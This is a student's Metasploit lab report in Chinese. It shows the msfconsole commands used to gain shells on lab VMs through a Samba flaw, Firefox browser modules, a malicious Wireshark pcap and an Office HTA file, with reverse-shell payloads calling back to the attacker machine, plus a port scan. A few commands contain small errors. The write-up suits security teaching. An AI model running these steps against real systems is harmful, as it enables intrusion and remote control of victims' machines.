20192409潘则宇 实验六 Metasploit攻击渗透实践
Metasploit攻击渗透实践
1.实验内容及要求
本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:
- 一个主动攻击实践,尽量使用最新的类似漏洞;
- 一个针对浏览器的攻击,尽量使用最新的类似漏洞;
- 一个针对客户端的攻击,如Adobe或office,尽量使用最新的类似漏洞;
- 成功应用任何一个辅助模块。
以上四个小实践可不限于以上示例,并要求至少有一个是和其他所有同学不一样的。
2.实验过程
2.1 主动攻击实践
(1)这里我选择了跟上次实践测试一样的靶机和漏洞进行渗透。使用的是王老师给的Linux靶机,利用的是靶机上Samba服务的usermap_script安全漏洞。
(2)要进行渗透,我们首先需要知道靶机的IP地址,所以就在靶机上使用ifconfig进行查询。
ifconfig
![](https://img2022.cnblogs.com/blog/1824107/202205/1824107-20220509102156014-2136853654.png)
图一 查询靶机IP地址
(3)然后还是跟正常渗透一样,选择攻击模块,这里我们利用的是Samba服务上的漏洞,所以我们使用指令search samba对我们可以使用的攻击模块进行一个搜索,得到的结果如下图所示。
search samba
![](https://img2022.cnblogs.com/blog/1824107/202205/1824107-20220509102758029-108916574.png)
图二 查询攻击模块
(4)我们发现了我们需要选择的攻击模块,就是这个usermap_script,可以使用use exploit/multi/samba/usermap_script指令,或者直接用use 8,也就是使用我们检索出来的第八个模块的意思,也是一样的。
use exploit/multi/samba/usermap_script
use 8
![](https://img2022.cnblogs.com/blog/1824107/202205/1824107-20220509103144190-1385676248.png)
图三 使用攻击模块
(5)然后需要对攻击载荷进行设置,我们还是一样,先使用show options查看所有可以使用的攻击载荷,查询结果如下所示。
show options
![](https://img2022.cnblogs.com/blog/1824107/202205/1824107-20220509103340981-2084710900.png)
图四 查看攻击载荷
(6)我们找到我们想要的攻击载荷,也就是这个bind_netcat,所以我们使用指令set payload cmd/unix/bind_netcat或者是set payload 5来设置我们的攻击载荷。
set payload cmd/unix/bind_netcat
set payload 5
![](https://img2022.cnblogs.com/blog/1824107/202205/1824107-20220509103550730-1664798465.png)
图五 设置攻击载荷
(7)然后就可以使用show options指令来查看我们需要添加的具体信息。
show options
![](https://img2022.cnblogs.com/blog/1824107/202205/1824107-20220509103704779-1706669190.png)
图六 查看设置
(8)我们通过查看到的信息可以发现,我们只需要对RHOST也就是靶机的IP地址进行设置就可以了,所以我们使用指令set RHOST 192.168.189.131进行设置。
set RHOST 192.168.189.131
![](https://img2022.cnblogs.com/blog/1824107/202205/1824107-20220509104232904-24364395.png)
图七 设置RHOST
(9)最后,我们就可以使用exploit来获取靶机的Shell了。
exploit
![](https://img2022.cnblogs.com/blog/1824107/202205/1824107-20220509104331893-1640948715.png)
图八 exploit
2.2 浏览器攻击实践
(1)这里采用的靶机是我自己安装的XP系统,要进行浏览器攻击,首先得选好浏览器,所以我选择了火狐浏览器(平时用的都是火狐)。
(2)首先我们还是要知道有什么攻击模块可以进行选择,所以我们使用search firefox指令来看看,得到了以下结果。
search firefox
![](https://img2022.cnblogs.com/blog/1824107/202205/1824107-20220512180219304-1893382107.png)
图九 search firefox
(3)查询到的exploit开头的就是我们可以利用的漏洞,也就是我们要进行选择的攻击模块了。我们可以看到,可供我们进行渗透的模块还是很多的。其中有两个攻击模块引起了我的注意,分别是exploit/multi/browser/firefox_webidl_injection和exploit/multi/browser/firefox_tostring_console_injection,因为这两个攻击模块都带有“injection”也就是注入这个描述,所以我认为成功的概率比较大。我先尝试了exploit/multi/browser/firefox_webidl_injection模块的渗透测试,使用use 30指令可以直接选取这个攻击模块。
use exploit/multi/browser/firefox_webidl_injection
use 30
![](https://img2022.cnblogs.com/blog/1824107/202205/1824107-20220512194954920-1525288717.png)
图十 选择攻击模块
(4)然后我们就可以查看一下有哪些攻击载荷可供选择,使用show payloads指令。
show payloads
![](https://img2022.cnblogs.com/blog/1824107/202205/1824107-20220512195110419-920719937.png)
图十一 查看攻击载荷
(5)我们能看到这里能选择的攻击载荷并不是很多,一共有九个,我们选择编号为2的这个攻击载荷,使用指令set payload 2。
set payload firefox/shell_reverse_tcp
set payload 2
![](https://img2022.cnblogs.com/blog/1824107/202205/1824107-20220512195330041-434717656.png)
图十二 选择攻击载荷
(6)选择完攻击载荷后我们就可以使用show options指令来查看我们需要添加或者修改的参数。
show options
![](https://img2022.cnblogs.com/blog/1824107/202205/1824107-20220512195514118-855294375.png)
图十三 查看参数
(7)我们可以发现,其他参数都已经自动填写了,需要我们进行补充的只有一个URIPATH,也就是我们生成的网址的填充部分,我们使用set指令将其设置为20192409pzy。
set URIPATH 20192409pzy
![](https://img2022.cnblogs.com/blog/1824107/202205/1824107-20220512200028916-1762518376.png)
图十四 设置URIPATH
(8)设置完参数我们就可以开启监听啦。
exploit
run
![](https://img2022.cnblogs.com/blog/1824107/202205/1824107-20220512200224669-2018887895.png)
图十五 exploit
(9)开启监听之后我们发现它给我们提供了一个网址,也就是http://172.16.213.126:8080/20192409pzy,我们需要将这个网址在我们的靶机也就是XP虚拟机中的火狐浏览器中进行访问,才能得靶机的Shell。我们在靶机的火狐进行访问之后,我们发现已经建立了反弹连接并生成了一个会话,渗透成功。
![](https://img2022.cnblogs.com/blog/1824107/202205/1824107-20220512200720025-1217575877.png)
图十六 反弹连接成功
(10)反弹连接成功了,但是我们发现我们并不能对靶机进行操作,这是因为我们需要将会话打开,使用指令sessions -i 1,然后我们就可以进行操作了,比如这里我们使用的是dir指令。
sessions -i 1
dir
![](https://img2022.cnblogs.com/blog/1824107/202205/1824107-20220512201426069-1446175880.png)
图十七 打开会话
(11)但是我们还想做进一步渗透,所以我们需要利用到火狐的另一个漏洞,我们使用指令use exploit/firefox/local/exec_shellcode打开对应的攻击模块。
use exploit/firefox/local/exec_shellcode
![](https://img2022.cnblogs.com/blog/1824107/202205/1824107-20220512201803815-244578005.png)
图十八 选择攻击模块
(12)然后我们还是一样使用show payloads指令来查看有哪些攻击载荷可以进行选择。
show payloads
![](https://img2022.cnblogs.com/blog/1824107/202205/1824107-20220512202050573-1672710481.png)
图十九 查看攻击载荷
(13)这里攻击载荷非常多,有三百多个,我根据经验选择了编号为271的这个攻击载荷。
set payload windows/meterpreter/reverse_tcp
set payload 271
![](https://img2022.cnblogs.com/blog/1824107/202205/1824107-20220512202220110-404592284.png)
图二十 选择攻击载荷
(14)还是一样使用show options来查看我们需要填写的参数,我们发现只需要填写一个会话号就可以了,所以我们使用指令set SESSION 2(因为前一个会话关了,所以这里是我新创建的一个会话),这样就可以了吗?不行,因为4444端口前面我们进行渗透的时候正在使用,所以这里我们需要将端口号换掉。
set SESSION 2
set LPORT 8888
![](https://img2022.cnblogs.com/blog/1824107/202205/1824107-20220512202628485-1353926952.png)
图二十一 设置会话号
![](https://img2022.cnblogs.com/blog/1824107/202205/1824107-20220512202640739-1365744234.png)
图二十二 设置端口
(15)这样设置完之后我们就可以开启监听啦。
exploit
run
![](https://img2022.cnblogs.com/blog/1824107/202205/1824107-20220512202829342-945093793.png)
图二十三 exploit
(16)我们发现,进一步渗透也成功啦。我们同样使用dir指令来测试,我们发现在meterpreter界面下,渗透更加深入,我们得到的信息也更加清晰完整。
![](https://img2022.cnblogs.com/blog/1824107/202205/1824107-20220512202737198-666087560.png)
图二十四 dir操作
(17)然后我们就进行另一个漏洞的渗透,过程都是一样的。我们还是先选择攻击模块,使用指令use exploit/multi/browser/firefox_tostring_console_injection或者是use 39。
use exploit/multi/browser/firefox_tostring_console_injection
use 39
![](https://img2022.cnblogs.com/blog/1824107/202205/1824107-20220512204727279-731134098.png)
图二十五 选择攻击模块
(18)同样的我们选择编号为2的攻击载荷。
set payload firefox/shell_reverse_tcp
set payload 2
![](https://img2022.cnblogs.com/blog/1824107/202205/1824107-20220512204943485-74560825.png)
图二十六 设置攻击载荷
(19)然后设置URIPATH为201912409,并开启监听。
set URIPATH 20192409
explit
run
![](https://img2022.cnblogs.com/blog/1824107/202205/1824107-20220512205030819-1208147595.png)
图二十七 设置URIPATH并开启监听
(20)这时候我们发现反弹连接成功,照旧打开会话,就可以进行一系列操作了。
sessions -i 1
dir
![](https://img2022.cnblogs.com/blog/1824107/202205/1824107-20220512205157855-1025710270.png)
图二十八 打开会话并查看dir
(21)后面进一步渗透的部分与前面一样,就不再赘述了。
2.3 客户端攻击实践
(1)这里我们想对wireshark进行攻击,所以我们先选择对应的攻击模块使用指令search wireshark。
search wireshark
![](https://img2022.cnblogs.com/blog/1824107/202205/1824107-20220513201213265-1206434333.png)
图二十九 查看攻击模块
(2)我们可以看到,可以进行选择的攻击模块并不多,我们选择其中编号为10的攻击模块,也就是exploit/windows/fileformat/wireshark_packet_dect。
use exploit/windows/fileformat/wireshark_packet_dect
use 10
![](https://img2022.cnblogs.com/blog/1824107/202205/1824107-20220513201535098-305118986.png)
图三十 设置攻击模块
(3)设置完攻击模块就要设置攻击载荷了,这里还是一样选择常规的攻击载荷,也就是windows/meterpreter/reverse_tcp。
set payload windows/meterpreter/reverse_tcp
set payload 51
![](https://img2022.cnblogs.com/blog/1824107/202205/1824107-20220513202656352-223865952.png)
图三十一 设置攻击载荷
(4)接下来可以通过show options来查看我们需要选择的参数。
show options
![](https://img2022.cnblogs.com/blog/1824107/202205/1824107-20220513203352414-54768403.png)
图三十二 查看参数
(5)我们可以看到,所有的参数都已经自动填写完毕了,但是为了区分,我们将生成的文件的名字改为pzy.pcap。
set FILENAME pzy.pcap
![](https://img2022.cnblogs.com/blog/1824107/202205/1824107-20220513203540133-98287544.png)
图三十三 设置文件名
(6)然后就可以开始攻击啦!exploit!
exploit
run
![](https://img2022.cnblogs.com/blog/1824107/202205/1824107-20220513203617884-1239452710.png)
图三十二 设置攻击载荷
(7)通过提示我们看到,在/root/.msf4/local的路径下生成了一个名叫pzy.pcap的文件,我们需要将这个文件传到靶机中。然后我们要开启监听模块,我们选择攻击模块为exploit/multi/handler。
use exploit/multi/handler
![](https://img2022.cnblogs.com/blog/1824107/202205/1824107-20220513203910187-1193604942.png)
图三十三 设置监听模块
(8)然后还是设置攻击载荷,跟前面一样为windows/meterpreter/reverse_tcp。
set payload windows/meterpreter/reverse_tcp
![](https://img2022.cnblogs.com/blog/1824107/202205/1824107-20220513204126034-2142887494.png)
图三十四 设置攻击载荷
(9)通过show options指令查看我们需要填写的参数。
show options
![](https://img2022.cnblogs.com/blog/1824107/202205/1824107-20220513204228630-138616866.png)
图三十五 查看参数
(10)我们发现LPORT也就是监听端口是空缺的,所以我们要将Kali虚拟机的IP地址填进去,使用指令set LPORT 172.16.213.126。
set LPORT 172.16.213.126
![](https://img2022.cnblogs.com/blog/1824107/202205/1824107-20220513204435796-453730830.png)
图三十六 设置LPORT
(11)设置完成之后就可以开始监听啦,exploit之后在靶机也就是XP虚拟机中使用wireshark运行我们传进去的pzy.pcap文件,我们发现反弹连接成功。
exploit
run
![](https://img2022.cnblogs.com/blog/1824107/202205/1824107-20220513204619280-1031714363.png)
图三十七 exploit
(12)最后我们尝试使用dir操作来验证是否取得靶机的Shell,我们发现渗透成功。
dir
![](https://img2022.cnblogs.com/blog/1824107/202205/1824107-20220513204724499-178333930.png)
图三十八 dir
(13)这里我们还可以尝试一下office的渗透,因为懒得在XP虚拟机上安装office,所以我选择直接用Win10的本机当作靶机(别骂了别骂了)。
(14)首先还是选择攻击模块,我选择了exploit/windows/fileformat/office_word_hta。
search office
use exploit/windows/fileformat/office_word_hta
use 32
![](https://img2022.cnblogs.com/blog/1824107/202205/1824107-20220514150633678-700993427.png)
图三十九 查找攻击模块
![](https://img2022.cnblogs.com/blog/1824107/202205/1824107-20220514150907561-1088601686.png)
图四十 选择攻击模块
(15)攻击载荷就用默认的,所以这里不用进行设置,然后就可以exploit了。
![](https://img2022.cnblogs.com/blog/1824107/202205/1824107-20220514151042077-855414390.png)
图四十一 攻击
(16)这时候进行攻击有两种方式,我们选择更简单的那一种,我们在靶机上打开这里提供的网址http://172.16.213.126:8080/default.hta,我们会发现弹出了下载界面,我们需要将这个default.hta文件下载下来并打开,这时候我们会发现反弹连接建立成功了。
![](https://img2022.cnblogs.com/blog/1824107/202205/1824107-20220514153234676-904953839.png)
图四十二 反弹连接
(17)这时候已经建立了一个会话,我们打开会话就获得了靶机的Shell,可以进行操作,同时我们可以通过shell指令来进行提权,我们发现提权成功。
sessions -i 1
shell
![](https://img2022.cnblogs.com/blog/1824107/202205/1824107-20220514153416391-641885022.png)
图四十三 打开会话
(18)我们还是使用dir指令来进行测试。
![](https://img2022.cnblogs.com/blog/1824107/202205/1824107-20220514153556984-810541650.png)
图四十四 dir测试
2.4 辅助模块应用
(1)我们很容易就能想到一个辅助模块,也就是端口扫描,我们使用指令search portscan来查找端口扫描相关的辅助模块。
search portscan
![](https://img2022.cnblogs.com/blog/1824107/202205/1824107-20220514204128619-1288920081.png)
图四十五 查找portscan辅助模块
(2)我们可以看到有TCP扫描、SYN扫描和ACK扫描,我们先尝试一下TCP扫描,我们选择编号为5的这个辅助模块。
use auxiliary/scanner/portscan/tcp
use 5
![](https://img2022.cnblogs.com/blog/1824107/202205/1824107-20220514204859504-1946490237.png)
图四十六 设置TCP辅助模块
(3)然后就是使用show options指令查看我们需要进行选择的各种参数。
show options
![](https://img2022.cnblogs.com/blog/1824107/202205/1824107-20220514211005839-1380563846.png)
图四十七 查看参数
(4)然后我们就使用set指令来设置各种参数。
set PORTS 1-1024
set RHOSTS 172.16.213.248
set THREADS 20
![](https://img2022.cnblogs.com/blog/1824107/202205/1824107-20220514211601985-1164648951.png)
图四十八 设置参数
(5)最后我们exploit就可以开始端口扫描了,我们发现开放的TCP端口有三个,分别是135、139和445端口。
![](https://img2022.cnblogs.com/blog/1824107/202205/1824107-20220514211808907-327907317.png)
图四十九 开始扫描
3.实验问题与解决办法
(1)在做浏览器实验的时候有时候会遇到Not Found的情况,这是为什么呢,这是以为我们使用的浏览器版本不对,我们可以通过info指令来查看每个攻击模块适用的对象的版本,如果是错误的版本,可能是不能得到靶机的Shell的。
(2)有些攻击模块确实存在,但是在使用的时候得不到靶机的Shell,这是因为可能在靶机上这个漏洞被补丁修复了,所以我们才不能得到Shell。
4.实验体会
通过这次实验,我们对msf有了一个非常全面的使用。这也让我知道,在不同的情形下也就是对不同的东西进行渗透的时候应该怎么去配置参数。比方说对浏览器进行渗透的时候我们通常会有一个网址,然后通过访问这个网址来进行渗透;而如果是对客户端的攻击,一般是生成一个对应格式的文件,然后使用对应版本的客户端打开,这样我们就能够利用到漏洞并且获取靶机的Shell。
概括的来说,这次实验让我受益匪浅,现在我已经可以通过结合漏洞扫描和msf工作台的使用来对靶机进行攻击,如果靶机的漏洞渗透的比较好,还可以进行提权操作。这次实验是对我们之前学习的内容的一次整合,让我们能够更好地对之前学习的内容进行实践,学以致用。
总而言之,感谢王老师的细心讲解和耐心帮助,也感谢在实验过程中给我帮助的同学们。正因为有你们的帮助我才能够顺利地完成本次实验,谢谢!